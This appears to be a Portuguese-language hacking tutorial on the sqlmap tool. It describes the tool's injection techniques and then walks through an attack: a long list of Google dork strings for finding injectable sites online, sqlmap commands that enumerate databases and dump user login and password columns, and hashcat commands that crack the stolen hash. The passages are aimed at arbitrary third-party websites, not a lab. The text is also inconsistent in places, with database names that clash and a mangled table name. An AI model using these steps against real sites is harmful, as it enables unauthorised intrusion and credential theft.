Sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e explorando falhas de injeção de SQL e assumir o controle de servidores de banco de dados.
Ele vem com um poderoso mecanismo de detecção, muitos recursos de nicho para o melhor testador de penetração e uma ampla gama de switches que vão desde impressão digital de banco de dados, até busca de dados do banco de dados, para acessar o sistema de arquivos subjacente e executar comandos no sistema operacional por meio de conexões fora de banda.
Futuro da ferramenta:
- Suporte total para MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB e Informix Sistemas de Gerenciamento de Banco de Dados.
- Suporte completo para seis técnicas de injeção de SQL: cego baseado em booleano, cego baseado em tempo, baseado em erro, baseado em consulta UNION, consultas empilhadas e fora de banda.
- Suporte para conectar-se diretamente ao banco de dados sem passar por injeção de SQL, fornecendo credenciais de DBMS, endereço IP, porta e nome do banco de dados.
- Apoio para enumerar usuários, hashes de senha, privilégios, funções, bancos de dados, tabelas e colunas.
- Reconhecimento automático de formatos de hash de senha e suporte para quebrando-os usando um ataque baseado em dicionário.
- Suporte para despejar tabelas de banco de dados inteiramente, um intervalo de entradas ou colunas específicas conforme a escolha do usuário. O usuário também pode optar por despejar apenas um intervalo de caracteres de cada entrada de coluna.
- Suporte para pesquise nomes de bancos de dados específicos, tabelas específicas em todos os bancos de dados ou colunas específicas em todas as tabelas dos bancos de dados. Isto é útil, por exemplo, para identificar tabelas que contêm credenciais de aplicativos personalizados onde os nomes das colunas relevantes contêm strings como nome e senha.
- Suporte para baixe e carregue qualquer arquivo do servidor de banco de dados do sistema de arquivos subjacente quando o software de banco de dados for MySQL, PostgreSQL ou Microsoft SQL Server.
- Suporte para execute comandos arbitrários e recupere sua saída padrão no servidor de banco de dados subjacente ao sistema operacional quando o software de banco de dados for MySQL, PostgreSQL ou Microsoft SQL Server.
- Suporte para estabelecer uma conexão TCP com estado fora de banda entre a máquina invasora e o servidor de banco de dados sistema operacional subjacente. Este canal pode ser um prompt de comando interativo, uma sessão do Meterpreter ou uma sessão de interface gráfica do usuário (VNC), conforme a escolha do usuário.
- Suporte para escalonamento de privilégios de usuário do processo de banco de dados através do comando Meterpreter getsystem do Metasploit.
Leia também Lynis – Ferramenta de auditoria de segurança de código aberto – Uma explicação detalhada
Técnicas:
sqlmap é capaz de detectar e explorar cinco injeções SQL diferentes tipos:
Cego baseado em booleano:
- sqlmap substitui ou anexa ao parâmetro afetado na solicitação HTTP, uma string de instrução SQL sintaticamente válida contendo uma subinstrução SELECT ou qualquer outra Instrução SQL cujo usuário deseja recuperar a saída.
- Para cada resposta HTTP, fazendo uma comparação entre o Cabeçalhos/corpo de resposta HTTP com a solicitação original, a ferramenta infere a saída da instrução injetada caractere por caractere. Alternativamente, o usuário pode fornecer uma string ou expressão regular para corresponder às páginas True.
- O algoritmo de bissecção implementado no sqlmap para realizar esta técnica é capaz de buscar cada caractere da saída com no máximo sete solicitações HTTP.
- Onde a saída não estiver dentro do conjunto de caracteres simples de texto não criptografado, o sqlmap adaptará o algoritmo com intervalos maiores para detectar a saída.
Cego baseado no tempo:
- sqlmap substitui ou anexa ao parâmetro afetado na solicitação HTTP, uma string de instrução SQL sintaticamente válida contendo uma consulta que coloca em espera o SGBD back-end para retornar por um certo número de segundos.
- Para cada resposta HTTP, ao fazer uma comparação entre o tempo de resposta HTTP com a solicitação original, a ferramenta infere a saída da instrução injetada caractere por caractere. Já para a técnica baseada em booleano, o algoritmo de bissecção é aplicado.
Baseado em erros:
- sqlmap substitui ou anexa ao parâmetro afetado uma instrução de provocação de mensagem de erro específica do banco de dados e analisa os cabeçalhos e o corpo da resposta HTTP em busca de mensagens de erro do DBMS contendo a cadeia de caracteres predefinida injetada e a saída da instrução de subconsulta.
- Essa técnica funciona somente quando o aplicativo Web foi configurado para divulgar mensagens de erro do sistema de gerenciamento de banco de dados backend.
Baseado em consulta UNION:
- sqlmap anexa ao parâmetro afetado uma instrução SQL sintaticamente válida começando com UNION ALL SELECT. Essa técnica funciona quando a página da aplicação web passa diretamente a saída da instruçãoSELECT dentro de um loop for, ou similar, para que cada linha da saída da consulta seja impressa no conteúdo da página.
- sqlmap também é capaz de explorar injeção de SQL de consulta UNION parcial (entrada única) vulnerabilidades que ocorrem quando a saída da instrução não é ciclada em uma construção for, enquanto apenas a primeira entrada da saída da consulta é exibida.
Consultas empilhadas:
- também conhecido como porquinho: o sqlmap testa se o aplicativo da web oferece suporte a consultas empilhadas e, caso suporte, anexa ao parâmetro afetado no Solicitação HTTPum ponto e vírgula (;) seguido pela instrução SQL a ser executada.
- Esta técnica é útil para executar instruções SQL diferentes de SELECT, como por exemplo, definição de dados ou manipulação de dados instruções, possivelmente levando ao acesso de leitura e gravação do sistema de arquivos e comando do sistema operacional execução dependendo do sistema de gerenciamento de banco de dados back-end subjacente e dos privilégios do usuário da sessão.
Encontre um site vulnerável:
Essa geralmente é a parte mais difícil e leva mais tempo do que qualquer outra etapa. Quem sabe usar o Google Dorks já sabe disso, mas caso não saiba, juntei uma série de strings que você pode Pesquisar no google.
Basta copiar e colar qualquer uma das linhas do Google e o Google mostrará vários resultados de pesquisa.
Idiota do Google:
Um idiota do Google é um funcionário que, sem saber, expõe informações corporativas confidenciais na internet. A palavra idiota é uma gíria para uma pessoa de raciocínio lento ou inepta.
Os idiotas do Google colocam as informações corporativas em risco porque criar involuntariamente portas traseiras que permitem que um invasor entre em uma rede sem permissão e/ou obtenha acesso a informações não autorizadas.
Para localizar informações confidenciais, os invasores usam strings de pesquisa avançada chamadas consultas idiotas do Google.
Strings do Google Dorks para encontrar site injetável SQLMAP SQL vulnerável:
inurl:item_id= | inurl:review.php?id= | inurl:hosting_info.php?id= |
inurl:newsid= | inurl:iniziativa.php?in= | inurl:gallery.php?id= |
inurl:trainers.php?id= | inurl:currículo.php?id= | inurl:rub.php?idr= |
inurl:news-full.php?id= | inurl:labels.php?id= | inurl:view_faq.php?id= |
inurl:news_display.php?getid= | inurl:story.php?id= | inurl:artikelinfo.php?id= |
inurl:index2.php?option= | inurl:look.php?ID= | inurl:detail.php?ID= |
inurl:readnews.php?id= | inurl:newsone.php?id= | inurl:index.php?= |
inurl:top10.php?cat= | inurl:aboutbook.php?id= | inurl:profile_view.php?id= |
inurl:newsone.php?id= | inurl:material.php?id= | inurl:categoria.php?id= |
inurl:event.php?id= | inurl:opinions.php?id= | inurl:publications.php?id= |
inurl:produto-item.php?id= | inurl:announce.php?id= | inurl:fellows.php?id= |
inurl:sql.php?id= | inurl:rub.php?idr= | inurl:downloads_info.php?id= |
inurl:index.php?catid= | inurl:galeri_info.php?l= | inurl:prod_info.php?id= |
inurl:news.php?catid= | inurl:tekst.php?idt= | inurl:shop.php?do=part&id= |
inurl:index.php?id= | inurl:newscat.php?id= | inurl:productinfo.php?id= |
inurl:news.php?id= | inurl:newsticker_info.php?idn= | inurl:collectionitem.php?id= |
inurl:index.php?id= | inurl:rubrika.php?idr= | inurl:band_info.php?id= |
inurl:trainers.php?id= | inurl:rubp.php?idr= | inurl:produto.php?id= |
inurl:buy.php?category= | inurl:offer.php?idf= | inurl:releases.php?id= |
inurl:artigo.php?ID= | inurl:art.php?idm= | inurl:ray.php?id= |
inurl:play_old.php?id= | inurl:title.php?id= | inurl:produit.php?id= |
inurl:declaration_more.php?decl_id= | inurl:news_view.php?id= | inurl:pop.php?id= |
inurl:pageid= | inurl:select_biblio.php?id= | inurl:shopping.php?id= |
inurl:games.php?id= | inurl:humor.php?id= | inurl:productdetail.php?id= |
inurl:page.php?file= | inurl:aboutbook.php?id= | inurl:post.php?id= |
inurl:newsDetail.php?id= | inurl:ogl_inet.php?ogl_id= | inurl:viewshowdetail.php?id= |
inurl:gallery.php?id= | inurl:fiche_spectacle.php?id= | inurl:clubpage.php?id= |
inurl:artigo.php?id= | inurl:communique_detail.php?id= | inurl:memberInfo.php?id= |
inurl:show.php?id= | inurl:sem.php3?id= | inurl:seção.php?id= |
inurl:staff_id= | inurl:categorie.php4?id= | inurl:theme.php?id= |
inurl:newsitem.php?num= | inurl:news.php?id= | inurl:page.php?id= |
inurl:readnews.php?id= | inurl:index.php?id= | inurl:shredder-categories.php?id= |
inurl:top10.php?cat= | inurl:faq2.php?id= | inurl:tradeCategory.php?id= |
inurl:historialeer.php?num= | inurl:show_an.php?id= | inurl:product_ranges_view.php?ID= |
inurl:reagir.php?num= | inurl:preview.php?id= | inurl:shop_category.php?id= |
inurl:Stray-Questions-View.php?num= | inurl:loadpsb.php?id= | inurl:transcript.php?id= |
inurl:forum_bds.php?num= | inurl:opinions.php?id= | inurl:canal_id= |
inurl:game.php?id= | inurl:spr.php?id= | inurl:aboutbook.php?id= |
inurl:view_product.php?id= | inurl:pages.php?id= | inurl:preview.php?id= |
inurl:newsone.php?id= | inurl:announce.php?id= | inurl:loadpsb.php?id= |
inurl:sw_comment.php?id= | inurl:clanek.php4?id= | inurl:pages.php?id= |
inurl:news.php?id= | inurl:participante.php?id= | about.php?cartID= |
inurl:avd_start.php?avd= | inurl:download.php?id= | accinfo.php?cartId= |
inurl:event.php?id= | inurl:main.php?id= | adicionar ao carrinho.php?ID= |
inurl:produto-item.php?id= | inurl:review.php?id= | addToCart.php?idProduct= |
inurl:sql.php?id= | inurl:chappies.php?id= | addtomylist.php?ProdId= |
inurl:material.php?id= | inurl:read.php?id= | |
inurl:clanek.php4?id= | inurl:prod_detail.php?id= | |
inurl:announce.php?id= | inurl:viewphoto.php?id= | |
inurl:chappies.php?id= | inurl:artigo.php?id= | |
inurl:read.php?id= | inurl:person.php?id= | |
inurl:viewapp.php?id= | inurl:productinfo.php?id= | |
inurl:viewphoto.php?id= | inurl:showimg.php?id= | |
inurl:rub.php?idr= | inurl:view.php?id= | |
inurl:galeri_info.php?l= | inurl:website.php?id= |
Etapa 1: Verificação inicial para confirmar se o site está vulnerável ao SQLMAP SQL Injection
Para cada string mostrada acima, você obterá centenas de resultados de pesquisa. Como você sabe o que é realmente vulnerável ao SQLMAP SQL Injection?
Existem várias maneiras e tenho certeza de que as pessoas argumentariam qual é a melhor, mas para mim, a seguinte é a mais simples e conclusiva.
Digamos que você pesquisou usando esta string inurl:item_id= e um dos Resultado de pesquisa do Google mostra um site como este:
http://www.gbhackers.com/products_showitem_clemco.php?item_id=28434
Basta adicionar aspas simples ‘ no final do URL. (Só para garantir, ” são aspas duplas e ” ‘ ” são aspas simples).
Então agora seu URL ficará assim:
http://www.gbhackers.com/products_showitem_clemco.php?item_id=28434'
Se a página retornar um erro SQL, a página estará vulnerável a Injeção SQLMAP SQL. Se ele carregar ou redirecionar você para uma página diferente, vá para o próximo site na página de resultados de pesquisa do Google.
Veja o exemplo de erro abaixo na captura de tela. Ocultei tudo, incluindo URL e design de página, por motivos óbvios.
Exemplos de erros SQLi de diferentes bancos de dados e idiomas
Servidor SQL da Microsoft
Erro de Servidor na ‘/’ Aplicação. Aspas não fechadas antes da cadeia de caracteres ‘attack;’.
Descrição: Ocorreu uma exceção não processada durante a execução da solicitação da web atual. Revise o rastreamento de pilha para obter mais informações sobre a origem do erro no código.
Detalhes da exceção: System.Data.SqlClient.SqlException: aspas não fechadas antes da cadeia de caracteres ‘attack;’.
Erros MySQL
Aviso: mysql_fetch_array(): o argumento fornecido não é um recurso de resultado válido do MySQL em /var/www/myawesomestore.com/buystuff.php na linha 12
Erro: Você tem um erro na sua sintaxe SQL: verifique o manual que corresponde à versão do seu servidor MySQL para obter a sintaxe correta para usar perto de ”’ na linha 12
Erros Oracle
java.sql.SQLException: ORA-00933: Comando SQL não finalizado corretamente em oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) em oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)
Erro: SQLExceptionjava.sql.SQLException: ORA-01756: string entre aspas não terminada corretamente
Erros PostgreSQL
Falha na consulta: ERRO: string entre aspas não terminada em ou próximo a “”’”
Etapa 2: Listar bancos de dados DBMS usando SQLMAP SQL Injection:
Como você pode ver na captura de tela acima, encontrei um site vulnerável ao SQLMAP SQL Injection. Agora preciso listar todos os bancos de dados desse banco de dados vulnerável. (isso também é chamado de enumerar o número de colunas). Como estou usando o SQLMAP, ele também me dirá qual deles está vulnerável.
Execute o seguinte comando em seu site vulnerável.
sqlmap -u http://www.gbhackers.com/products_showitem_clemco.php?item_id=28434 --dbs
Aqui:
sqlmap = Nome do arquivo binário sqlmap
-u = URL de destino (por exemplo, “http://www.gbhackers.com/products_showitem_gbhac.php?item_id=28434”)
–dbs = Enumerar bancos de dados DBMS
Veja a captura de tela abaixo.
Este comando revela algumas informações interessantes:
web application technology: Apache back-end DBMS: MySQL 5.0 [10:55:53] [INFO] retrieved: information_schema [10:55:56] [INFO] retrieved: gbhackers [10:55:56] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.gbhackers.com'
Portanto, agora temos dois bancos de dados que podemos examinar. information_schema é um banco de dados padrão para quase todos os bancos de dados MYSQL. Portanto, nosso interesse seria no banco de dados clemcoindustries.
Etapa 3: Listar tabelas do banco de dados de destino usando SQLMAP SQL Injection:
Agora precisamos saber quantas tabelas esse banco de dados clemcoindustries possui e quais são seus nomes. Para descobrir essas informações, use o seguinte comando:
sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D clemcoindustries --tables
esse banco de dados obteve 8 tabelas.
[10:56:20] [INFO] fetching tables for database: 'gbhackers' [10:56:22] [INFO] heuristics detected web page charset 'ISO-8859-2' [10:56:22] [INFO] the SQL query used returns 8 entries [10:56:25] [INFO] retrieved: item [10:56:27] [INFO] retrieved: link [10:56:30] [INFO] retrieved: other [10:56:32] [INFO] retrieved: picture [10:56:34] [INFO] retrieved: picture_tag [10:56:37] [INFO] retrieved: popular_picture [10:56:39] [INFO] retrieved: popular_tag [10:56:42] [INFO] retrieved: user_info
e, claro, queremos verificar o que está dentro da tabela user_info usando SQLMAP SQL Injection, pois essa tabela provavelmente contém nomes de usuários e senhas.
Etapa 4: Lista colunas na tabela de destino do banco de dados selecionado usando SQLMAP SQL Injection:
Agora precisamos listar todas as colunas na tabela de destino user_info do banco de dados clemcoindustries usando SQLMAP SQL Injection. SQLMAP SQL Injection torna isso muito fácil, execute o seguinte comando:
sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D gbhackers-T user_i nfo --columns
Isso retorna 5 entradas da tabela de destino user_info do banco de dados clemcoindustries.
[10:57:16] [INFO] fetching columns for table 'user_info' in database 'gbhackers ' [10:57:18] [INFO] heuristics detected web page charset 'ISO-8859-2' [10:57:18] [INFO] the SQL query used returns 5 entries [10:57:20] [INFO] retrieved: user_id [10:57:22] [INFO] retrieved: int(10) unsigned [10:57:25] [INFO] retrieved: user_login [10:57:27] [INFO] retrieved: varchar(45) [10:57:32] [INFO] retrieved: user_password [10:57:34] [INFO] retrieved: varchar(255) [10:57:37] [INFO] retrieved: unique_id [10:57:39] [INFO] retrieved: varchar(255) [10:57:41] [INFO] retrieved: record_status [10:57:43] [INFO] retrieved: tinyint(4)
Isso é exatamente o que estamos procurando… tabela de destino user_login e user_password.
Etapa 5: lista os nomes de usuário das colunas de destino da tabela de destino do banco de dados selecionado usando SQLMAP SQL Injection:
SQLMAP SQL Injection torna tudo mais fácil! Basta executar o seguinte comando novamente:
sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D gbhackers-T user_info -C user_login --dump
Adivinhe, agora temos o nome de usuário do banco de dados:
[10:58:39] [INFO] retrieved: userX [10:58:40] [INFO] analyzing table dump for possible password hashes
Estamos quase lá, agora só precisamos da senha deste usuário. A seguir mostra exatamente isso.
Etapa 6: Extraia a senha das colunas de destino da tabela de destino do banco de dados selecionado usando SQLMAP SQL Injection:
Você provavelmente está se acostumando a usar a ferramenta SQLMAP SQL Injection. Use o seguinte comando para extrair a senha do usuário.
sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D gbhackers-T user_info -C user_password --dump
We have hashed password : 24iYBc17xK0e
[10:59:15] [INFO] the SQL query used returns 1 entries [10:59:17] [INFO] retrieved: 24iYBc17xK0e. [10:59:18] [INFO] analyzing table dump for possible password hashes Database: sqldummywebsite Table: user_info [1 entry] +---------------+ | user_password | +---------------+ | 24iYBc17xK0e. | +---------------+
Mas espere, essa senha parece engraçada. Esta não pode ser a senha de alguém. Alguém que deixa seu site vulnerável dessa forma simplesmente não pode ter uma senha como essa.
Isso está exatamente certo. Esta é uma senha com hash. Isso significa que a senha está criptografada e agora precisamos descriptografá-la.
Abordei extensivamente como descriptografar senhas nesta postagem Cracking MD5, phpBB, MySQL e SHA1 com Hashcat no Kali Linux. Se você perdeu, está perdendo muito.
Vou abordar isso resumidamente aqui, mas você realmente deve aprender como usar o hashcat.
Etapa 7: Quebrando senha:
Portanto, a senha com hash é 24iYBc17xK0e. Como você sabe que tipo de hash é esse?
1. Identifique o tipo de Hash:
Felizmente, o Kali Linux oferece uma ótima ferramenta e podemos usá-la para identificar que tipo de hash é esse. Na linha de comando digite o seguinte comando e no prompt cole o valor hash:
hash-identifier
Excelente. Então isso é DES(Unix) cerquilha.
2. Crack HASH usando cudahashcat:
Primeiro de tudo, preciso saber qual código usar para hashes DES. Então vamos verificar isso
cudahashcat --help | grep DES
Então é 1500 ou 3100. Mas era um banco de dados MYSQL, então deve ser 1500.
Salvei o valor do hash 24iYBc17xK0e. no arquivo DES.hash. A seguir está o comando que estou executando:
cudahashcat -m 1500 -a 0 /root/sql/DES.hash /root/sql/rockyou.txt
Descoberta interessante: o Hashcat usual não conseguiu determinar o código do hash DES. (não no menu de ajuda). No entanto, tanto cudaHashcat quanto oclHashcat encontraram e quebraram a chave.
De qualquer forma, aqui está a senha quebrada: abc123 24iYBc17xK0e. :abc123
agora temos até a senha desse usuário.